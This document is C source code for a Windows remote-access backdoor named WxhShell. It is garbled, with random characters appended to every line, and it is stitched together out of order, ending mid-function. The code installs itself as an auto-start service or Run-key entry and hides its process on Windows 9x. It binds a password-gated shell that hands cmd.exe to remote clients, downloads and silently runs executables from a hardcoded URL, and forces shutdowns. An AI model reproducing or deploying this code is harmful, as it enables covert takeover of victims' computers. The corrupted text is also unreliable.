    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3qgS&js 7  
    if(Boot(SHUTDOWN)) ME$[=?7XX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?JbilK}a  
    else { T}Tp$.gB  
    closesocket(wsh); j{ ]I]\=?  
    ExitThread(0); !"AvY y9  
    } ^^u5*n+5  
    break; xh-o}8*n"  
    } Gf6p'(\zun  
  // 获取shell !"e5h`/ADM  
  case 's': { + /G2fhE  
    CmdShell(wsh); m[osg< CR_  
    closesocket(wsh); qw301]y  
    ExitThread(0); 1y &\5kB  
    break; _~m5^Q&  
  } >IafUy  
  // 退出 =HK!(C  
  case 'x': { y8y5*e~A-)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K`eCDvlH  
    CloseIt(wsh); Z{.8^u1I  
    break; W.jGGt\<\  
    } Wb,KjtX  
  // 离开 Z3e| UAif  
  case 'q': { ,]C;sN%~}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `cn#B BV  
    closesocket(wsh); .8g)av+  
    WSACleanup(); OF>mF~  
    exit(1); ,^r9n[M4M  
    break; 1#g2A0U,  
        } j3oV+zZ49  
  } *U-4Sy  
  } h f)?1z4  
? V1*cVD6i  
  // 提示信息 ;a!S!% .h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T"Y+m-<%  
} 234p9A@  
  }  N];NAMp  
ldcqe$7,  
  return; qbr$>xH  
} LP^$AAy  
A Q U+mo  
// shell模块句柄 ?,Xw[pR  
int CmdShell(SOCKET sock) ]! &FKy  
{ 5ta `%R_  
STARTUPINFO si; JG. y,<xW  
ZeroMemory(&si,sizeof(si)); "^[ 'y7i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CkC^'V)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @s&71a  
PROCESS_INFORMATION ProcessInfo; 2|y"!JqE1  
char cmdline[]="cmd"; 3NqB <J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /62!cp/F/D  
  return 0; mIvx1_[  
} ,t744k')  
.sW|Id )  
// 自身启动模式 !,uE]gwLw  
int StartFromService(void) M?49TOQA  
{ MY)O^I X$  
typedef struct //MUeTxR  
{ l30EKoul)  
  DWORD ExitStatus; ]cvwIc">  
  DWORD PebBaseAddress; 3%|&I:tI  
  DWORD AffinityMask; 1\m[$Gs:  
  DWORD BasePriority; -ad{tJV|  
  ULONG UniqueProcessId; B@))8.h]  
  ULONG InheritedFromUniqueProcessId; }&D WaO]J7  
}   PROCESS_BASIC_INFORMATION; := V[7n])  
2'Uu:Y^  
PROCNTQSIP NtQueryInformationProcess; 3`?7 <YJ  
}6~hEc*/"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Oszj$C(jF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !F-w3 ]  
MJ)RvNF  
  HANDLE             hProcess; n&/ `  
  PROCESS_BASIC_INFORMATION pbi; Lb-OsKU  
e>OoyDZ@R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z\rwO>3  
  if(NULL == hInst ) return 0; h" W,WxL8  
BOX2O.Pm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V Q@   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t}4, ]m s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4at?(B+  
R\f+SvE  
  if (!NtQueryInformationProcess) return 0; d-ko ^Y0  
y.k~Y0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M3y NAN  
  if(!hProcess) return 0; Y@iS_lR  
; 2#y7!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _f,C[C[e&  
BlO<PMmhT&  
  CloseHandle(hProcess); ^76]0`gS  
|r/"  |`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wlvgg  
if(hProcess==NULL) return 0; ,`Z1m o>n  
kTB 0b*V  
HMODULE hMod; Y=KTeYW`  
char procName[255]; j (d~aqW  
unsigned long cbNeeded; .<FH>NW)  
Or+U@vAnk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r u%y  
#{6/ (X  
  CloseHandle(hProcess); Qv-_ jZ  
JQI: sj  
if(strstr(procName,"services")) return 1; // 以服务启动 TdM ruSY  
ObS3 M  
  return 0; // 注册表启动 "S]TP$O D  
} e T{ 4{  
+'a^f5  
// 主模块 0OE:[pR  
int StartWxhshell(LPSTR lpCmdLine) 59A}}.@?m  
{ dn3y\  
  SOCKET wsl; A/s?x>QA  
BOOL val=TRUE; fr3d  
  int port=0; q9_OGd|P  
  struct sockaddr_in door; 4VSU8tK|N]  
0S~rgq|O  
  if(wscfg.ws_autoins) Install(); eMsd37J  
D>q9 3;p  
port=atoi(lpCmdLine); F41=b4/  
>bW #Zs,6  
if(port<=0) port=wscfg.ws_port; da(<K}  
tsjrRMR  
  WSADATA data; i.m^/0!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~?BXti<!  
/4Gt{yg Sr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :I#V.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .q>iXE_c  
  door.sin_family = AF_INET; vs4>T^8e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T~e.PP  
  door.sin_port = htons(port); L8B! u9%  
rILYI;'o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8A# ;WG  
closesocket(wsl); y6a3t G  
return 1; KWHY4  
} *EH~_F  
hVY$;s  
  if(listen(wsl,2) == INVALID_SOCKET) { n[rCQdM&U"  
closesocket(wsl); h_'*XWd@  
return 1; yWSGi#)1  
} z{QqY.Gu{G  
  Wxhshell(wsl); GbI/4<)l}  
  WSACleanup(); z24q3 3O  
[/r(__.  
return 0; H5|;{q:j  
J&_n9$  
} :2`e(+Uz  
e0 ecD3  
// 以NT服务方式启动 K&-"d/QuLg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?@x/E&  
{ :3 mh@[V  
DWORD   status = 0; @6.vKCSE  
  DWORD   specificError = 0xfffffff; ~xTt204S  
AbM'3Mkz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <P<z N~i9j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;'1d1\wiDQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *-X[u:  
  serviceStatus.dwWin32ExitCode     = 0; c71y'hnT  
  serviceStatus.dwServiceSpecificExitCode = 0; ckn(`I  
  serviceStatus.dwCheckPoint       = 0; DY*N|OnqJ  
  serviceStatus.dwWaitHint       = 0; MdF2Gk-9  
!G|@6W`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z\sDUJ  
  if (hServiceStatusHandle==0) return; "dlV k~  
zbiLP83  
status = GetLastError(); DmcZta8n]  
  if (status!=NO_ERROR) xIn:ZKJ'  
{ *^`Vz?g<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XWw804ir  
    serviceStatus.dwCheckPoint       = 0; rm_Nn8p,  
    serviceStatus.dwWaitHint       = 0; -?a 26o%e  
    serviceStatus.dwWin32ExitCode     = status; "@n%Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; %iB,IEw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mE[y SrV  
    return; l,).p  
  } !r-F>!~  
xSu >  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6LhTBV  
  serviceStatus.dwCheckPoint       = 0; Bw.i}3UT6  
  serviceStatus.dwWaitHint       = 0; 73-p*o(pt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d(K +);!  
} xz]~ jL@-]  
;VK.2^jW!  
// 处理NT服务事件,比如:启动、停止 i#O SC5ZI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <3 uNl  
{ '%;m?t% q  
switch(fdwControl) jiGTA:v  
{ y`Z\N   
case SERVICE_CONTROL_STOP: !x)R=Z/C  
  serviceStatus.dwWin32ExitCode = 0; A%vbhD2;W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^z\cyT%7t  
  serviceStatus.dwCheckPoint   = 0; Nboaf  
  serviceStatus.dwWaitHint     = 0; 4ppz,L,4  
  { {RPI]DcO/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3g B7g'U  
  } n{jGOfc  
  return; i~72bMwsA  
case SERVICE_CONTROL_PAUSE: ,: ^u-b|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FTldR;}(  
  break; atzX;@"K  
case SERVICE_CONTROL_CONTINUE: _v:SP LU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +,l-Nz  
  break; UZ";a453r  
case SERVICE_CONTROL_INTERROGATE: BLFdHB.$T  
  break; DfB7*+x{  
}; d_ CT $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VaPG-n>Vf  
} eH,or,r  
A(XKyEx  
// 标准应用程序主函数 j1Ezf=N6`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /V By^L:  
{ ABkl%m6xf  
"jCu6Rjd  
// 获取操作系统版本 < Z$J<]I  
OsIsNt=GetOsVer(); 9u_Pj2%56.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8EY:t zw  
^sZ,2,^  
  // 从命令行安装 vD4*&|8T#  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5R7DDJk  
?cZlN !  
  // 下载执行文件 [Qr"cR^  
if(wscfg.ws_downexe) { !m$jk2<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,,TnIouy  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ Q0n  
} 31)&vf[[  
fy$1YI>!Q  
if(!OsIsNt) { Kpp_|2|@<  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y*hCMy;  
HideProc(); >sbu<|]a 7  
StartWxhshell(lpCmdLine); S>{~nOYt-`  
} =c7;r]Ol  
else V8(-  
  if(StartFromService()) pot~<d`:K"  
  // 以服务方式启动 9u:Q,0\  
  StartServiceCtrlDispatcher(DispatchTable); 2rMpgV5  
else E"0>yl)  
  // 普通方式启动 QW"! (`K  
  StartWxhshell(lpCmdLine); MQ4KdqgP  
4P0}+  
return 0; @ P|y{e6  
} x"g&#Vq ~  
EV?z`jE9  
W!<U85-#S  
e(yh[7p=  
=========================================== n`KY9[0U=  
@pxcpXCy  
 _4f;<FL  
aDCwI:Li(  
v>56~AJ  
1eKT^bgM  
" "5 A! jq  
r :dTz  
#include <stdio.h> /O9EQPm(  
#include <string.h> KmF]\:sMD  
#include <windows.h> > P)w?:k  
#include <winsock2.h> r=4eP(w=  
#include <winsvc.h> uw7zWJ n  
#include <urlmon.h> tVjsRnb{  
M(fTKs  
#pragma comment (lib, "Ws2_32.lib") s@C}P  
#pragma comment (lib, "urlmon.lib") =Sv/IXX\di  
<uJ@:oWG7  
#define MAX_USER   100 // 最大客户端连接数 |g~ZfnP_%  
#define BUF_SOCK   200 // sock buffer `x|?&Ytmf9  
#define KEY_BUFF   255 // 输入 buffer Z ]ONh  
$J2Gf(RU  
#define REBOOT     0   // 重启 ;nGa.= "L  
#define SHUTDOWN   1   // 关机 cu6Opq9  
4R*,VR.K  
#define DEF_PORT   5000 // 监听端口 [!z,lY>  
u4j5w  
#define REG_LEN     16   // 注册表键长度 Q20 %"&Xp]  
#define SVC_LEN     80   // NT服务名长度 he4(hX^  
Y0>y8U V  
// 从dll定义API *2?@ |<(r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &FD>&WRV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iB{V^ksU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fIF8%J ^3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wj+*E6o-n  
$^ P0F9~0  
// wxhshell配置信息 ZW}_DT0  
struct WSCFG { 8_8l.!~  
  int ws_port;         // 监听端口 =Uh$&m  
  char ws_passstr[REG_LEN]; // 口令 xA/D'  
  int ws_autoins;       // 安装标记, 1=yes 0=no RpF&\x>  
  char ws_regname[REG_LEN]; // 注册表键名 Ned."e  
  char ws_svcname[REG_LEN]; // 服务名 $?Wb}DU7_L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PeT'^?>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6 r"<jh#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ise-O1'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "fI6Cpc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '%D7C=;^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c:0L+OF}xY  
JO;Uus{?  
}; w@b)g  
(?c-iKGc  
// default Wxhshell configuration OH88n69  
struct WSCFG wscfg={DEF_PORT, Z7#+pPt!  
    "xuhuanlingzhe", N0lC0 N?_J  
    1, w &(ag$p'  
    "Wxhshell", ,^:.dFH6  
    "Wxhshell", [~^0gAlQC  
            "WxhShell Service", <!+Az,-  
    "Wrsky Windows CmdShell Service", T |p"0b A  
    "Please Input Your Password: ", yZRzIb_  
  1, N$DkX)Z  
  "http://www.wrsky.com/wxhshell.exe", VnzZTG s  
  "Wxhshell.exe" d@^ZSy>L2  
    }; u"8yK5!  
Q@niNDaW2  
// 消息定义模块 zTp"AuNHN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hc1N ~$3!G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `gJ(0#ac  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gq6*SaTk  
char *msg_ws_ext="\n\rExit."; TJN4k@\$2  
char *msg_ws_end="\n\rQuit."; Si7*& dw=  
char *msg_ws_boot="\n\rReboot..."; aYeR{Y]  
char *msg_ws_poff="\n\rShutdown..."; JLYi]nZ  
char *msg_ws_down="\n\rSave to "; %RVZD#zr  
y(&Ac[foS}  
char *msg_ws_err="\n\rErr!"; 6mE\OS-I  
char *msg_ws_ok="\n\rOK!"; >Q/Dk7#  
VQs5"K"  
char ExeFile[MAX_PATH]; [e q&C_|D  
int nUser = 0; :U\tv[  
HANDLE handles[MAX_USER]; ,bd_:  
int OsIsNt; 5bIw?%dk(  
SKtrtm  
SERVICE_STATUS       serviceStatus; -} +[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S3#>9k;p  
So;<6~  
// 函数声明 .6> w'F{>  
int Install(void); 92c HwWZ!  
int Uninstall(void); T+$[eWk"a  
int DownloadFile(char *sURL, SOCKET wsh); B[}6-2<>?C  
int Boot(int flag); H.;Q+A,8^  
void HideProc(void); pw#-_  
int GetOsVer(void); @L`jk+Y0vF  
int Wxhshell(SOCKET wsl); K'xV;r7Nt  
void TalkWithClient(void *cs); S @Y39  
int CmdShell(SOCKET sock); 7nSxi+6e  
int StartFromService(void); fOHxtHM  
int StartWxhshell(LPSTR lpCmdLine); 5N]"~w*  
jylD6IT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [?gP;,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RNL9>7xV  
"|NI]Kv  
// 数据结构和表定义 wq{hF<  
SERVICE_TABLE_ENTRY DispatchTable[] = ;|RTx  
{ Q/?$x*\>  
{wscfg.ws_svcname, NTServiceMain}, [KQi.u  
{NULL, NULL} Kq!3wb;  
}; gr{ DWCK  
So6x"1B  
// 自我安装 <%^&2UMg  
int Install(void) FwK] $4*  
{ [ )F<V!  
  char svExeFile[MAX_PATH]; N#] ypl  
  HKEY key; f^e)O$N9]  
  strcpy(svExeFile,ExeFile); 3^ClAE"8  
`XKLU  
// 如果是win9x系统,修改注册表设为自启动 iCoX& "lb  
if(!OsIsNt) { "tZe>>I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K:M8h{Ua  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =D(j)<9$A  
  RegCloseKey(key); m~|40)   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0J|3kY-n>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cK@wsA^4  
  RegCloseKey(key); <v2;p}A  
  return 0; Q59suL   
    } ?0.NIu,,o  
  } +3gp%`c4  
} =wJX 0A|  
else { K"6vXv4QO  
{:s f7  
// 如果是NT以上系统,安装为系统服务 #mT"gs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s"|Pdc4  
if (schSCManager!=0) i%/+5gq  
{ VTM/hJmwJ  
  SC_HANDLE schService = CreateService )BE1Q*= n  
  ( OI*H,Z "  
  schSCManager, 1 zZlC#V  
  wscfg.ws_svcname, m 5.Zu.  
  wscfg.ws_svcdisp, "%_+-C<L4  
  SERVICE_ALL_ACCESS, ]'cs.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gR**@t=;j  
  SERVICE_AUTO_START, -=="<0c  
  SERVICE_ERROR_NORMAL, +vH4MwG$.&  
  svExeFile, J,hCvm  
  NULL, mw!F{pw  
  NULL, PCvWS.{  
  NULL, ! if   
  NULL, <%d>v-=B  
  NULL SBpL6~NW  
  ); ]d]]'Hk  
  if (schService!=0) [ 3Gf2_  
  { 8}[).d160  
  CloseServiceHandle(schService); XX@ZQcN  
  CloseServiceHandle(schSCManager); T%Lx%Qn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .>S!ji  
  strcat(svExeFile,wscfg.ws_svcname); Ba,`TJ%y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EPm/r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;jXgAAz7  
  RegCloseKey(key); *hx  
  return 0; yfSmDPh  
    } hM{bavd  
  } 3F3A%C%  
  CloseServiceHandle(schSCManager); i. "v4D  
} b-DvW4B  
} M+>u/fldV  
3Ul*QN{6  
return 1; S!UaH>Rh  
} 3<!7>]A  
M7T5 ~/4  
// 自我卸载 %4H%?4  
int Uninstall(void)  Sf'CN8  
{ I0 -MRU~[K  
  HKEY key; %{|pj +  
\<' ?8ri#  
if(!OsIsNt) { L#J1b!D&<6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fl(wV.Je|  
  RegDeleteValue(key,wscfg.ws_regname); t!XwW$@  
  RegCloseKey(key); vt8By@]:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n[z+<VGwC  
  RegDeleteValue(key,wscfg.ws_regname); Z~CjA%l  
  RegCloseKey(key); sT)CxOV  
  return 0; m@c)Xci  
  } rH-23S  
} NOva'qk  
} %Zi} MPx  
else { $I=~S[p  
nKY6[|!#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fex@,I&  
if (schSCManager!=0) f8~_E  
{ siI;"?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {.yB'.k?  
  if (schService!=0) {mg2pfhB!  
  { M  >u_4AY  
  if(DeleteService(schService)!=0) { QV!up^Zso  
  CloseServiceHandle(schService); 2ESo2  
  CloseServiceHandle(schSCManager); ]DcFySyv  
  return 0; HtFDlvdy]  
  } $Yq9P0Ya  
  CloseServiceHandle(schService); zfU{Kd  
  } h0$iOE  
  CloseServiceHandle(schSCManager); icgfB-1|i  
} b=vkiO`2  
} t_^4`dW`  
C]6O!Pb0  
return 1; )e{aN+  
} d6O[ @CyP  
5O% {{J  
// 从指定url下载文件 (>Em^(&  
int DownloadFile(char *sURL, SOCKET wsh) I,tud!p`  
{ { FkF  
  HRESULT hr; ^W ^OfY  
char seps[]= "/"; @dK Tx#gZ  
char *token; 7I}uZ/N  
char *file; +>,I1{u%&  
char myURL[MAX_PATH]; m`XHKRp  
char myFILE[MAX_PATH]; 3BI1fXT4=j  
s!J9|]o  
strcpy(myURL,sURL); R_C)  
  token=strtok(myURL,seps);  R&&4y 7  
  while(token!=NULL) A^g(k5M*  
  { Nb\4 /;#  
    file=token; &~CI<\o P  
  token=strtok(NULL,seps); D7Z /H'|  
  } gdc<ZYcM  
7#Ft|5$~q  
GetCurrentDirectory(MAX_PATH,myFILE); tw;}jh  
strcat(myFILE, "\\"); 1Mzmg[L8  
strcat(myFILE, file); [JiH\+XLPs  
  send(wsh,myFILE,strlen(myFILE),0); f|5co>Hk  
send(wsh,"...",3,0); 7.Op<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <E~'.p,  
  if(hr==S_OK) X'srL j.  
return 0; $FVNCFN%  
else ]^E?;1$f?  
return 1; la!~\wpa  
:TbgFQ86~  
} }vuO$j  
FPz9N@M%Q  
// 系统电源模块 o/E >f_k[  
int Boot(int flag) jcOcWB|  
{ 1}x%%RD_  
  HANDLE hToken; HJ"GnZp<  
  TOKEN_PRIVILEGES tkp; uRvP hkqm  
,+k\p5P  
  if(OsIsNt) { [y(MCf19  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @gblW*Zhk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L!92P{K  
    tkp.PrivilegeCount = 1; tQ)qCk07  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _6Sp QW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B\~}3!j  
if(flag==REBOOT) { oJ^P(]dw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X ?O[r3<  
  return 0; K;?+8(H  
} V[LglPt  
else { VA%J\T|G2\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I7onX,U+  
  return 0;  B,@i  
} (PL UFT  
  } ?<!|  
  else { oH@78D0A  
if(flag==REBOOT) { |yCMt:Hk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6k%f  
  return 0; e~OpofJNb  
} 2y4bwi  
else { *dQSw)R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5pX6t  
  return 0; 6nn *]|7  
} itz,m r P  
} llq<egZpm  
dysS9a,  
return 1; %9"H  
} [Xkx_B  
_a, s )  
// win9x进程隐藏模块 \bXa&Lq  
void HideProc(void) =;L|gtH"  
{ UQsN'r\tS  
VbYdZCC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )%TmAaj9d  
  if ( hKernel != NULL ) F,kZU$  
  { F59 TZI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W9&=xs6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }e1ZbmW  
    FreeLibrary(hKernel); &]Tmxh(  
  } l1I#QB@5n  
WJi]t93  
return; +A+)=/i;  
} UKGPtKE<  
*~`(RV  
// 获取操作系统版本 h[ ZN+M  
int GetOsVer(void) i8p6Xht  
{ jXJyc'm7  
  OSVERSIONINFO winfo; 6BlXLQ,8q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JF]JOI6.e  
  GetVersionEx(&winfo); sO Y:e/_F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +@UV?"d  
  return 1; 42{~Lhxt  
  else gYj'(jB  
  return 0; xdPx{"C 3  
} DU^loB+  
P?<y%c<  
// 客户端句柄模块 , gHDx  
int Wxhshell(SOCKET wsl) _1^'(5f$  
{ crCJrN=  
  SOCKET wsh; \8tsDG(1 '  
  struct sockaddr_in client; H,J8M{  
  DWORD myID; l;U?Z'n  
tPvpJX6kP  
  while(nUser<MAX_USER) "@kaHIf[  
{ f$( e\+ +  
  int nSize=sizeof(client); ]:;&1h3'7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iU-j"&L5  
  if(wsh==INVALID_SOCKET) return 1; %O<BfIZ  
Cx"sw }  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xno\s.H%]  
if(handles[nUser]==0) =1! 'QUc  
  closesocket(wsh);  _F{C\}  
else ~&O%N  
  nUser++; =N@t'fOr  
  } }]Tx lSp!;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I fir ,8  
INf&4!&h  
  return 0; sLFl!jX  
} [aS*%Heu  
X&zis1A<  
// 关闭 socket E`q_bn  
void CloseIt(SOCKET wsh) YIE<pX4Q7)  
{ 9uY'E'm*  
closesocket(wsh); Tw% 3p=  
nUser--; 13PS2  
ExitThread(0); k9R9Nz|J  
} a.'*G6~Qgw  
^.tg7%dJ  
// 客户端请求句柄 GILfbNcd  
void TalkWithClient(void *cs) }G=M2V<L  
{ X]=t>   
$e\M_hp*J  
  SOCKET wsh=(SOCKET)cs; `/g UV  
  char pwd[SVC_LEN]; [lAp62i5  
  char cmd[KEY_BUFF]; wr4:Go`  
char chr[1]; NI5``BwpO  
int i,j; fM}#ON>Z  
+p^u^a  
  while (nUser < MAX_USER) { v=k$A  
$M#>9QHhc  
if(wscfg.ws_passstr) { b -y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !wNO8;(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l2d{ 73h  
  //ZeroMemory(pwd,KEY_BUFF); l0] EX>"E  
      i=0; 4 :=]<sc,  
  while(i<SVC_LEN) { DlT{`  
2:R+tn(F  
  // 设置超时 *I'yH8Fcn  
  fd_set FdRead; kT?J5u _o  
  struct timeval TimeOut; v<;Md-<  
  FD_ZERO(&FdRead); Jwp7gYZ  
  FD_SET(wsh,&FdRead); 'S~5"6r  
  TimeOut.tv_sec=8; ~ 1pr~  
  TimeOut.tv_usec=0; (t.Nk[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x"(KBEK~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WHI`/FM  
=xrv~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E9}C  #  
  pwd=chr[0]; zQA`/&=Y  
  if(chr[0]==0xd || chr[0]==0xa) { H"KCK6  
  pwd=0; ;=@0'xPEa-  
  break; 5uf a  
  } 2tLJU  Z1  
  i++; eQ"E   
    } hcc/=_hA  
-&;TA0~;  
  // 如果是非法用户,关闭 socket {!`4iiF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M;NX:mX9  
} 6RM/GM  
C?Ucu]cW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X.V~SeS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nm+s{  
-hV*EPQ/  
while(1) { ]?)TdJ`  
<Qq*p  
  ZeroMemory(cmd,KEY_BUFF); C>~TI,5a3  
/>Nt[o[r  
      // 自动支持客户端 telnet标准   xpI wrJO  
  j=0; P$sxr  
  while(j<KEY_BUFF) { {T8Kk)L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m68*y;#  
  cmd[j]=chr[0]; zVD:#d% b  
  if(chr[0]==0xa || chr[0]==0xd) { S$k&vc(0  
  cmd[j]=0; [2koe.?(  
  break; b2]Kx&!  
  } jIF |P-  
  j++; Bf:Q2slqI  
    } B:QHwzd  
BD-AI  
  // 下载文件 Q^I\cAIB  
  if(strstr(cmd,"http://")) { nd(S3rct&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .KC ++\{HE  
  if(DownloadFile(cmd,wsh)) @H<q"-J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m3ff;,  
  else {^'HL   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E e]-qN*8  
  } +O5hH8<&b  
  else { V+~Nalm O  
+>9Q/E  
    switch(cmd[0]) { ap~^Ty<>  
